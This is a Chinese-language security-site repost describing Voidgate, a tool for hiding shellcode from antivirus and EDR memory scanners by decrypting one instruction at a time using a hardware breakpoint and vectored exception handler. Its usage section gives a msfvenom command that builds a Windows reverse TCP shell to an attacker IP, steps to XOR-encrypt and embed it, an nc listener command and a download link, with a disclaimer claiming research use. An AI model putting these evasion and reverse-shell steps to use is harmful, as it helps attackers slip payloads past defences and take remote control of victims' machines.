绕过AV/EDR内存扫描器免杀工具

admin 2024年6月21日10:29:18评论123 views字数 931阅读3分6秒阅读模式

项目介绍

这是一种可用于绕过 AV/EDR 内存扫描器的技术,它可用于通过对单个加密汇编指令进行即时解密来隐藏众所周知和检测到的 shellcode(例如 msfvenom),从而使内存扫描器对该特定内存页面无效。

工作原理

该技术将创建一个 PAGE_EXECUTE_READWRITE 内存区域,加密的汇编指令将存储在该区域。shellcode 将包裹一些填充。程序将在 shellcode 的入口点设置硬件断点 (HWBP)。

接下来,程序将安装一个向量异常处理程序 (VEH)。这个 VEH 基本上会像一个调试器一样,单步执行代码,读取 VEH 收到的每个单步异常的指令指针寄存器 (RIP),并解密 RIP 指向的下一个 16 个字节(最大 x64 汇编指令长度)。VEH 还会加密之前解密的指令,确保除当前执行的单个汇编指令外,其余 shellcode 始终保持加密状态。之后,它将继续执行,并在 Eflags 寄存器上配置 TRAP FLAG。这将确保下一个汇编指令也会触发 VEH 可以处理的断点异常。
安装 VEH 后,主线程执行将重定向到有效载荷入口点。当 HWBP 在入口点触发时,VEH 将在执行的每个汇编指令处停止,执行下一个汇编指令的解密并加密上一个加密指令,该指令保存为全局变量。
通过这样做,基本上每次解密一个汇编指令,而有效载荷的其余部分保持加密状态。

使用方法

1.) 创建 msfvenom 有效载荷:

 msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.100.33 LPORT=443 -f raw > shell.asm
2.)使用XorEncryptPayload.exe对payload进行XOR加密
./XorEncryptPayload.exe C:Pathtoshell.asm
3.) 更新 Voidgate 项目的 main.cpp 中包含 shellcode 的变量
4.) 确保异或密钥与加密器和 Voidgate 项目匹配
5.) 确保您的监听器正在等待攻击机器:
nc -nvlp 443
6.) 执行Voidgate.exe

视频演示:

下载地址

https://github.com/vxCrypt0r/Voidgate

原文始发于微信公众号(Hack分享吧):绕过AV/EDR内存扫描器免杀工具

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月21日10:29:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   绕过AV/EDR内存扫描器免杀工具http://cn-sec.com/archives/2870206.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息